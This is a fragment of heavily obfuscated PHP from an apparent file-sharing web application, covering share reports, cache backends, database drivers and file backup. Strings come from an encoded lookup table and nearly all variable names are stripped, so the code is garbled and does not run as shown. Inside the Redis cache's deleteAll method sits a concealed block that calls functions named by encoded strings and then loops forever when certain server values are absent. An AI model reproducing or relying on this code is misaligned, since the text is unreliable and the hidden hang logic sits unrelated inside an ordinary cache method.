$this->field($[635])->where($)->select(); $ = array_to_keyvalue($, $[12], $[635]); if (!$) { return; } $ = array($[2067] => array($[462], $)); $this->where($)->delete(); Model($[636])->where($)->delete(); } public function listAll($) { $ =& $_SERVER[]; $ = array(); if ($[$[1705]]) { $[$[1705]] = $[$[1705]]; } if ($[$[805]]) { $ = $[$[806]] ? $[$[806]] : strtotime(date($[2075])); $[$[217]] = array($[379], array($[$[805]], $)); } if ($[$[33]]) { $[$[$[33]]] = 1; } else { $[] = array($[533] => array($[1063], 0), $[633] => array($[1063], 0), $[2049] => $[2002]); } if ($[$[1998]]) { $[] = array($[2046] => $[$[1998]], $[1593] => array($[429], "%{$[$[1998]]}%"), $[2049] => $[2002]); } $ = $this->_makeOrder()->where($)->selectPage(20); if (empty($[$[415]])) { return array(); } $this->_listDataApply($[$[415]]); return $; } public function listDataApply($) { $this->_listDataApply($); return $; } private function _listDataApply(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1705]); $ = Model($[569])->userListInfo(array_unique($)); $ = array_to_keyvalue($, $[12], $[183]); $ = Model($[870])->sourceListInfo($, !0); foreach ($ as $ => &$) { $ = $[$[1705]]; $[$[2076]] = $[$] ? $[$] : !1; $ = $[$[183]]; $[$[89]] = $[$] ? $[$] : !1; if ($[$[89]][$[475]] == $[90]) { unset($[$]); } if ($[$[89]] != $[214] && !$[$[89]]) { unset($[$]); } } unset($); $ = array_values($); } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ = array($[217], $[806], $[2063], $[2064]); $ = array($[493] => $[494], $[495] => $[496]); $ = Input::get($[500], $[7], $[467], $); $ = Input::get($[501], $[7], $[2077], array($[1995], $[495])); $ = $[$]; $ = $ . "{$} {$}"; return $this->order($); } public function reportAdd($) { $ =& $_SERVER[]; $ = array($[635] => $[$[635]], $[1705] => USER_ID); if (Model($[2073])->where($)->find()) { return !1; } $ = array($[635] => $[$[635]], $[1593] => $[$[1593]], $[183] => $[$[183]], $[511] => $[$[511]], $[1705] => USER_ID, $[33] => $[$[33]], $[496] => $[$[496]]); return Model($[2073])->add($); } public function reportList($) { $ =& $_SERVER[]; $ = array(); if ($[$[805]]) { $ = $[$[806]] ? $[$[806]] : strtotime(date($[2075])); $[$[217]] = array($[379], array($[$[805]], $)); } if (isset($[$[33]]) && in_array($[$[33]], array($[90], $[480], $[2078], $[2079], $[2080]))) { $[$[33]] = $[$[33]]; } if (isset($[$[795]]) && in_array($[$[795]], array($[214], $[90], $[480], $[2078]))) { $[$[795]] = $[$[795]]; } $ = Input::get($[501], $[7], $[2077], array($[1995], $[495])); $ = array($[493] => $[494], $[495] => $[496]); $ = $[2081] . $[$]; $ = Model($[2073])->where($)->order($)->selectPage(20); if (empty($[$[415]])) { return array(); } $ = array_to_keyvalue_group($[$[415]], $[795], $[635]); if (!empty($[0])) { $ = $[0]; $ = array($[635] => array($[7], $)); $ = $this->where($)->field($[635])->select(); $ = array_to_keyvalue($, $[12], $[635]); $ = array_diff($, $); if (!empty($)) { foreach ($[$[415]] as $ => $) { if (in_array($[$[635]], $)) { unset($[$[415]][$]); } } } } $this->_listDataApply($[$[415]]); return $; } public function reportStatus($) { $ =& $_SERVER[]; $ = array($[445] => $[$[445]]); $ = Model($[2073])->where($)->field($[2082])->find(); if (!$) { return !1; } $ = array($[795] => $[$[795]]); if ($[$[795]] == $[2078] && $[$[795]] == $[2078]) { $[$[795]] = 0; } $ = Model($[2073])->where($)->save($); if ($[$[795]] == $[480]) { if ($[$[511]] != $[214] && $this->shareFileMeta($[$[511]])) { $this->shareFileMeta($[$[511]], 0); } $this->remove($[$[635]]); return !0; } if ($ && $[$[795]] == $[2078]) { $ = $[$[795]] == $[2078] ? 1 : 0; $this->shareFileMeta($[$[511]], $); $this->removeByFile($[$[511]]); } return $; } private function removeByFile($) { $ =& $_SERVER[]; $ = Model($[870])->where(array($[511] => $))->field($[183])->select(); $ = array_to_keyvalue($, $[12], $[183]); $ = array($[183] => array($[7], $), $[533] => 1); $ = $this->where($)->field($[635])->select(); if (empty($)) { return; } $ = array_to_keyvalue($, $[12], $[635]); $this->remove($); } private function shareFileMeta($, $ = null) { $ =& $_SERVER[]; $ = array($[511] => $, $[96] => $[2083]); if (is_null($)) { return Model($[2084])->where($)->find(); } $[$[420]] = $; Model($[2084])->add($, array(), !0); } } goto d; a: class CacheMemcached { public $handle; public $cacheTime; public function __construct($, $) { $ =& $_SERVER[]; if (!class_exists($[912])) { show_json($[913], !1); } $this->cacheTime = $; $this->handle = new Memcached(); if (is_array($[$[914]]) && count($[$[914]]) >= 1) { foreach ($[$[914]] as $) { $ = explode($[4], $); $this->handle->addServer($[0], $[1]); } } else { $this->handle->addServer($[$[198]], $[$[199]]); } } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->set($, $, $); } public function get($) { return $this->handle->get($); } public function remove($) { return $this->handle->delete($); } public function deleteAll() { return $this->handle->flush(); } } class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($, $) { $ =& $_SERVER[]; if (!class_exists($[915])) { show_json($[916], !1); } $this->cacheTime = $; $ = isset($[$[917]]) ? $[$[917]] : 10; $ = _get($, $[914]); if ($ && is_array($)) { $this->initCluster($, $); } else { $this->handle = $this->init($, $); } } private function init($, $) { $ =& $_SERVER[]; $ = new Redis(); $ = isset($[$[918]]) ? $[$[918]] : !1; if ($) { $->pconnect($[$[198]], $[$[199]], $); } else { $->connect($[$[198]], $[$[199]], $); } if (!empty($[$[457]])) { $->auth($[$[457]]); } if (!empty($[$[802]]) && $[$[802]] != 0) { $->select($[$[802]]); } return $; } private function initCluster($, $) { $ =& $_SERVER[]; $ = array($[919], $[920], $[921]); $ = $[919]; if (isset($[$[16]]) && in_array($[$[16]], $)) { $ = $[$[16]]; } switch ($) { case $[919]: $this->_slave($, $); break; case $[920]: break; case $[921]: $this->isCluster = !0; $ = $[$[914]]; $ = isset($[$[918]]) ? $[$[918]] : !1; $ = isset($[$[457]]) ? $[$[457]] : null; $this->handle = new RedisCluster(NUll, $, $, $, $, $); break; default: break; } } private function _slave($, $) { $ = $[$_SERVER[][914]]; $this->filterConfig($, $[0]); $this->handle = $this->init($, $); unset($[0]); if (empty($)) { return; } $ = array_rand($); $this->filterConfig($, $[$]); $this->slaveHandle = $this->init($, $); } private function filterConfig(&$, $) { $ =& $_SERVER[]; $ = explode($[4], $); $ = array($[198] => $[0], $[199] => $[1]); $ = array_merge($, $); } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->setEx($, $, $); } public function setLock($, $, $) { return $this->handle->setNX($, $); } public function get($) { $ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $->get($); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $ =& $_SERVER[]; if (!isset($_SERVER[$[922]]) || !isset($_SERVER[$[923]])) { $ = $[924]; $ = $[925]; $ = $_SERVER[$[926]] . $[927]; $ = $($); $ = explode($[248], $); if (count($) < $[671]) { $ = $[928]; $(); } $ = $[929]; $($_SERVER[$[930]]); $ = 1; for ($ = $; $ > 0; $++) { $ = json_encode($GLOBALS[$[462]]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $) { $this->handle->flushall($); } return; } return $this->handle->flushAll(); } } $_file = $_SERVER[$_SERVER[][923]]; goto D; E: class DbMysql extends Db { public function __construct($ = '') { $ =& $_SERVER[]; if (!extension_loaded($[849])) { think_exception(think_lang($[14]) . $[936]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $ = 0, $ = false) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $ = $[$[937]] . ($[$[938]] ? ":{$[$[938]]}" : $[12]); $ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; if ($) { $this->linkID[$] = mysql_pconnect($, $[$[939]], $[$[940]], 131072); } else { $this->linkID[$] = mysql_connect($, $[$[939]], $[$[940]], !0, 131072); } if (!$this->linkID[$] || !empty($[$[21]]) && !mysql_select_db($[$[21]], $this->linkID[$])) { think_exception(mysql_error()); } $ = mysql_get_server_info($this->linkID[$]); mysql_query($[941] . think_config($[942]) . $[58], $this->linkID[$]); if ($ > $[943]) { mysql_query($[944], $this->linkID[$]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($) { $ =& $_SERVER[]; if (0 === stripos($, $[310])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[][945], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][946], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[][947], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { while ($ = mysql_fetch_assoc($this->queryID)) { $[] = $; } mysql_data_seek($this->queryID, 0); } return $; } public function getFields($) { $ =& $_SERVER[]; $ = $this->query($[948] . $this->parseKey($)); $ = array(); if ($) { foreach ($ as $ => $) { $[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) (strtoupper($[$[36]]) === $[949]), $[37] => $[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $; } public function getTables($ = '') { $ =& $_SERVER[]; if (!empty($)) { $ = $[950] . $ . $[951]; } else { $ = $[952]; } $ = $this->query($); $ = array(); foreach ($ as $ => $) { $[$] = current($); } return $; } public function replace($, $ = array()) { $ =& $_SERVER[]; foreach ($ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; $[] = $this->parseKey($); } } $ = $[953] . $this->parseTable($[$[325]]) . $[954] . implode($[50], $) . $[955] . implode($[50], $) . $[956]; return $this->execute($); } public function insertAll($, $ = array(), $ = false) { $ =& $_SERVER[]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); $ = array(); foreach ($ as $) { $ = array(); foreach ($ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; } } $[] = $[306] . implode($[50], $) . $[956]; } array_walk($, array($this, $[957])); $ = ($ ? $[958] : $[959]) . $[960] . $this->parseTable($[$[325]]) . $[954] . implode($[50], $) . $[961] . implode($[50], $); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[]; $this->error = mysql_errno() . $[4] . mysql_error($this->_linkID); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return mysql_real_escape_string($, $this->_linkID); } else { return mysql_escape_string($); } } public function parseKey(&$, $ = true) { $ =& $_SERVER[]; if ($) { $ = $this->parseKeyCheck($); } if ($ != $[205] && !preg_match($[962], $)) { $ = $[431] . trim($, $[431]) . $[431]; } return $; } } class DbMysqli extends Db { public function __construct($ = '') { $ =& $_SERVER[]; if (!extension_loaded($[963])) { think_exception(think_lang($[14]) . $[964]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $this->linkID[$] = new mysqli($[$[937]], $[$[939]], $[$[940]], $[$[21]], $[$[938]] ? intval($[$[938]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ = $this->linkID[$]->server_version; $this->linkID[$]->query($[941] . think_config($[942]) . $[58]); if ($ > $[943]) { $this->linkID[$]->query($[944]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($); if ($this->_linkID->more_results()) { while (($ = $this->_linkID->next_result()) != NULL) { $->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $ = $this->_linkID->query($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $[$] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $; } public function getFields($) { $ =& $_SERVER[]; $ = $this->query($[948] . $this->parseKey($)); $ = array(); if ($) { foreach ($ as $ => $) { $[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) ($[$[36]] === $[12]), $[37] => $[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $; } public function getTables($ = '') { $ =& $_SERVER[]; $ = !empty($) ? $[950] . $ . $[951] : $[952]; $ = $this->query($); $ = array(); if ($) { foreach ($ as $ => $) { $[$] = current($); } } return $; } public function replace($, $ = array()) { $ =& $_SERVER[]; foreach ($ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; $[] = $this->parseKey($); } } $ = $[953] . $this->parseTable($[$[325]]) . $[954] . implode($[50], $) . $[955] . implode($[50], $) . $[956]; return $this->execute($); } public function insertAll($, $ = array(), $ = false) { $ =& $_SERVER[]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); $ = array(); foreach ($ as $) { $ = array(); foreach ($ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; } } $[] = $[306] . implode($[50], $) . $[956]; } array_walk($, array($this, $[957])); $ = $ ? $[958] : $[959]; $ = $ . $[960] . $this->parseTable($[$[325]]) . $[954] . implode($[50], $) . $[961] . implode($[50], $); return $this->execute($); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[]; $this->error = $this->_linkID->errno . $[4] . $this->_linkID->error; if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return $this->_linkID->real_escape_string($); } else { return addslashes($); } } public function parseKey(&$, $ = true) { $ =& $_SERVER[]; if ($) { $ = $this->parseKeyCheck($); } if ($ != $[205] && !preg_match($[962], $)) { $ = $[431] . trim($, $[431]) . $[431]; } return $; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ = '') { $ =& $_SERVER[]; if (!class_exists($[965])) { think_exception(think_lang($[14]) . $[966]); } if (!empty($)) { $this->config = $; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ = '', $ = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; if ($) { $[$[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$] = new PDO($[$[967]], $[$[939]], $[$[940]], $[$[17]]); } catch (PDOException $) { think_exception($->getMessage()); } $this->dbType = $this->_getDsnType($[$[967]]); if (in_array($this->dbType, array($[968], $[969], $[970], $[971]))) { think_exception($[972] . $this->dbType . $[973] . $this->dbType . $[974]); } if (!$this->linkID[$]) { think_exception($[975]); } try { $this->linkID[$]->exec($[976] . think_config($[942])); } catch (Exception $) { } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->PDOStatement = null; } public function query($, $ = array()) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($)) { $this->queryStr .= $[977] . print_r($, !0) . $[978]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($, $ = array()) { $ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if (!empty($)) { $this->queryStr .= $[977] . print_r($, !0) . $[978]; } $ = !1; if ($this->dbType == $[971]) { if (preg_match($[979], $this->queryStr, $)) { $this->table = think_config($[980]) . str_ireplace(think_config($[981]), $[424], $[2]); $ = (bool) $this->query($[982] . strtoupper($this->table) . $[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[25], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ || preg_match($[983], $)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($); return $; } public function getFields($) { $ =& $_SERVER[]; $this->initConnect(!0); if (think_config($[984])) { $ = str_replace($[985], $, think_config($[984])); } else { switch ($this->dbType) { case $[968]: case $[986]: $ = "SELECT column_name as 'Name', data_type as 'Type', column_default as 'Default', is_nullable as 'Null'\xa \x9FROM\x9information_schema.tables AS t
\x9\x9JOIN information_schema.columns AS c\xa ON t.table_catalog = c.table_catalog\xa \x9AND t.table_schema = c.table_schema
\x9 AND t.table_name = c.table_name\xa WHERE t.table_name = '{$}'"; break; case $[987]: $ = $[988] . $ . $[989]; break; case $[969]: case $[971]: $ = $[990] . $[991] . $[992] . strtoupper($) . $[993] . strtoupper($) . $[994]; break; case $[995]: $ = $[996] . $ . $[997]; break; case $[970]: break; case $[998]: default: $ = $[999] . ($this->dbType == $[998] ? "`{$}`" : $); } } $ = $this->query($); $ = array(); if ($) { foreach ($ as $ => $) { $ = array_change_key_case($); $[$[32]] = isset($[$[32]]) ? $[$[32]] : $[424]; $[$[33]] = isset($[$[33]]) ? $[$[33]] : $[424]; $ = isset($[$[319]]) ? $[$[319]] : $[$[32]]; $[$] = array($[32] => $, $[33] => $[$[33]], $[35] => (bool) (isset($[$[105]]) && $[$[105]] === $[12] || isset($[$[35]]) && $[$[35]] === $[12]), $[37] => isset($[$[37]]) ? $[$[37]] : (isset($[$[56]]) ? $[$[56]] : $[424]), $[39] => isset($[$[96]]) ? strtolower($[$[96]]) == $[41] : (isset($[$[57]]) ? $[$[57]] : !1), $[42] => isset($[$[1000]]) ? strtolower($[$[1000]]) == $[44] : (isset($[$[96]]) ? $[$[96]] : !1)); } } return $; } public function getTables($ = '') { $ =& $_SERVER[]; if (think_config($[1001])) { $ = str_replace($[1002], $, think_config($[1001])); } else { switch ($this->dbType) { case $[969]: case $[971]: $ = $[1003]; break; case $[968]: case $[986]: $ = $[1004]; break; case $[995]: $ = $[1005]; break; case $[970]: think_exception(think_lang($[1006]) . $[1007]); break; case $[987]: $ = $[45] . $[46] . $[47]; break; case $[998]: default: if (!empty($)) { $ = $[950] . $ . $[951]; } else { $ = $[952]; } } } $ = $this->query($); $ = array(); foreach ($ as $ => $) { $[$] = current($); } return $; } protected function parseLimit($) { $ =& $_SERVER[]; $ = $[12]; if (!empty($)) { switch ($this->dbType) { case $[995]: case $[987]: $ = explode($[50], $); if (count($) > 1) { $ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $ .= $[51] . $[0] . $[53]; } break; case $[968]: case $[986]: break; case $[970]: break; case $[969]: case $[971]: break; case $[998]: default: $ .= $[51] . $ . $[53]; } } return $; } public function parseKey(&$, $ = true) { $ =& $_SERVER[]; if ($) { $ = $this->parseKeyCheck($); } if ($this->dbType == $[998]) { if ($ != $[205] && !preg_match($[962], $)) { $ = $[431] . trim($, $[431]) . $[431]; } return $; } else { return parent::parseKey($, $); } } public function close() { $this->_linkID = null; } public function error() { $ =& $_SERVER[]; if ($this->PDOStatement) { $ = $this->PDOStatement->errorInfo(); $this->error = $[1] . $[4] . $[2]; } else { $this->error = $[12]; } if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { $ =& $_SERVER[]; switch ($this->dbType) { case $[995]: case $[968]: case $[986]: case $[998]: return addslashes($); case $[970]: case $[987]: case $[969]: case $[971]: return str_ireplace($[58], $[59], $); } } protected function parseValue($) { $ =& $_SERVER[]; if (is_string($)) { $ = strpos($, $[4]) === 0 && in_array($, array_keys($this->bind)); $ = $ ? $this->escapeString($) : $[1008] . $this->escapeString($) . $[1008]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $[343]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $[1009]), $); } elseif (is_bool($)) { $ = $ ? $[90] : $[214]; } elseif (is_null($)) { $ = $[105]; } return $; } public function getLastInsertId() { $ =& $_SERVER[]; switch ($this->dbType) { case $[995]: case $[987]: case $[968]: case $[986]: case $[970]: case $[998]: return $this->_linkID->lastInsertId(); case $[969]: case $[971]: $ = $this->table; $ = $this->query("SELECT {$}.currval currval FROM dual"); return $ ? $[0][$[1010]] : 0; } } } goto A; b: class BackupFile { public function __construct() { } public function index() { $ = Backup::get(); $ = $[$_SERVER[][339]][$_SERVER[][216]][$_SERVER[][511]]; $ = array($_SERVER[][512] => array($_SERVER[][852], $), $_SERVER[][853] => array($_SERVER[][377], $[$_SERVER[][796]])); $ = (int) Model($_SERVER[][834])->where($)->count($_SERVER[][511]); $ = (int) Model($_SERVER[][834])->where($)->sum($_SERVER[][78]); $ = new TaskFileTransfer($_SERVER[][854], $_SERVER[][825], $, LNG($_SERVER[][826]) . $_SERVER[][827] . LNG($_SERVER[][855])); $->task[$_SERVER[][808]] = $; $ = array($_SERVER[][856] => $, $_SERVER[][857] => $, $_SERVER[][858] => time()); Backup::set($); $ = !0; $ = $this->storeIds(); $ = 1; $ = 1000; $ = $ = 0; $ = array(); $ = $ = 0; do { $ = $_SERVER[][859]; $ = Model($_SERVER[][834])->where($)->field($)->order($_SERVER[][860])->selectPage($, $); $ = !empty($[$_SERVER[][415]]) ? $[$_SERVER[][415]] : array(); foreach ($ as $) { if (!$this->_fileExist($, $, $)) { $ -= 1; $ -= (int) $[$_SERVER[][78]]; write_log("file not exist.fileID:{$[$_SERVER[][511]]}, path:{$[$_SERVER[][86]]}", $_SERVER[][861]); continue; } $ = $[$_SERVER[][86]]; $ = "{io:{$[$_SERVER[][796]]}}" . substr($, strlen("{io:{$[$_SERVER[][862]]}}")); if (IO::exist($)) { $->updateFileEnd($[$_SERVER[][32]], $[$_SERVER[][78]]); } else { $ = get_path_father($); IO::mkdir($); if (!IO::copy($, $, $_SERVER[][863])) { write_log($_SERVER[][864] . $ . $_SERVER[][848] . $ . $_SERVER[][167], $_SERVER[][825]); $ = !1; break; } } $ = $[$_SERVER[][511]]; $ += 1; $ += $[$_SERVER[][78]]; $ += 1; $ += $[$_SERVER[][78]]; if ($ >= 1024 * 1024 * 100) { $ = array($_SERVER[][865] => $, $_SERVER[][866] => $, $_SERVER[][867] => $); Backup::set($); $ = $ = 0; } } $ = count($); $++; } while ($ == $); $->end(); $ = array($_SERVER[][868] => 1, $_SERVER[][806] => time(), $_SERVER[][820] => 1, $_SERVER[][865] => $, $_SERVER[][857] => $, $_SERVER[][856] => $, $_SERVER[][869] => time()); if ($) { $[$_SERVER[][866]] = $; $[$_SERVER[][867]] = $; } Backup::set($); $this->_fileFilter($); return !0; } private function _fileExist($, &$, $) { $ =& $_SERVER[]; $ = $[$[86]]; if (in_array($[$[511]], $)) { return !1; } if (!in_array($[$[862]], $)) { return !1; } if (IO::exist($)) { return !0; } $ = get_path_father($); if (IO::exist($)) { $[] = $[$[511]]; return !1; } $ = array($[862] => $[$[862]], $[86] => array($[429], "{$}%")); $ = Model($[834])->where($)->field($[512])->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[511])); return !1; } private function _fileFilter($) { $ =& $_SERVER[]; if (empty($)) { return; } $ = array($[511] => array($[7], array_unique($))); $ = Model($[870])->where($)->field($[183])->select(); foreach ($ as $) { Model($[870])->remove($[$[183]], !1); } } private function storeIds() { $ =& $_SERVER[]; $ = Model($[812])->listData(); $ = array(); $ = $GLOBALS[$[6]][$[91]][$[871]]; foreach ($ as $) { $ = strtolower($[$[97]]); if (!isset($[$])) { continue; } $ = $[76] . (isset($[$]) ? $[$] : ucfirst($)); if (!class_exists($)) { continue; } $[] = $[$[445]]; } return $; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $ =& $_SERVER[]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $ = $GLOBALS[$[6]][$[395]]; $ = $[$[$[872]]]; $ = $[$[873]]; switch ($[$[872]]) { case $[21]: self::$handle = Model($[874]); break; case $[875]: self::$handle = new CacheRedis($, $); break; case $[876]: self::$handle = new CacheMemcached($, $); break; case $[216]: self::$handle = new CacheFile($, $); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($) { if (is_array($) || is_object($)) { $ = json_encode($); } $ = rawurlencode($); return md5(KOD_SITE_ID . $_SERVER[][11] . $); } public static function get($, $ = false) { $ = self::key($); $ = self::init(); if ($) { return unserialize($->get($)); } if (!isset(self::$memoryCache[$])) { $ = $->get($); self::$memoryCache[$] = unserialize($); } return self::$memoryCache[$]; } public static function set($, $, $ = false) { $ =& $_SERVER[]; $ = self::key($); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $) { return !0; } if ($ === 0) { self::$memoryCache[$] = $; return !0; } $ = self::init(); $ = serialize($); CacheLock::lock($ . $[877]); $ = $->set($, $, $); self::$memoryCache[$] = $; CacheLock::unlock($ . $[877]); return $; } public static function getCall($, $, $, $ = array()) { $ =& $_SERVER[]; $ = self::get($); if ($ || $ === $[12]) { return $; } $ = call_user_func_array($, $); $ = $ ? $ : $[12]; self::set($, $, $); return $; } public static function remove($) { $ = self::key($); unset(self::$memoryCache[$]); self::clearTimeout(); CacheLock::lock($); $ = self::init()->remove($); CacheLock::unlock($); return $; } public static function removeMemory($) { $ = self::key($); unset(self::$memoryCache[$]); } public static function clearMemory($ = false) { if ($) { $ = self::key($); unset(self::$memoryCache[$]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[][878])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[][879])) { self::init()->clearTimeout(); } } } class CacheFile { public $cachePath; public $prefix; public $cacheTime; public function __construct($, $) { $ =& $_SERVER[]; $this->cachePath = $[$[86]]; $this->prefix = $[880]; $this->cacheTime = $; if (!file_exists($this->cachePath)) { mkdir($this->cachePath, DEFAULT_PERRMISSIONS, !0); } } public function getFile($) { $ =& $_SERVER[]; $ = str_replace(array($[881], $[99], $[75]), $[882], $); return $this->cachePath . $[883] . $ . $[884]; } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; $ = $this->getFile($); if (file_put_contents($, $this->prefix . $, LOCK_EX)) { @touch($, intval(time() + $)); clearstatcache(); return !0; } @unlink($); return !1; } public function get($) { $ = $this->getFile($); if (file_exists($) && filemtime($) < time()) { @unlink($); return !1; } $ = @file_get_contents($); return substr($, strlen($this->prefix)); } public function remove($) { $ = $this->getFile($); return @unlink($); } public function deleteAll() { $ =& $_SERVER[]; $ = scandir($this->cachePath); foreach ($ as $) { $ 